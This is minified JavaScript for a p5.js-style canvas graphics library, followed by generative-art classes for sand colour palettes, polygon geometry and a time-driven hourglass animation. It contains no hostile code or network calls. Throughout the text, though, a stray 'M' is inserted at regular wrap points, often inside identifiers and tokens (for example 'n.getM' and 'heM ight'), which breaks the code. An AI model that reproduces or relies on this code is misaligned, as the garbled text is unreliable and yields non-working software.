.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
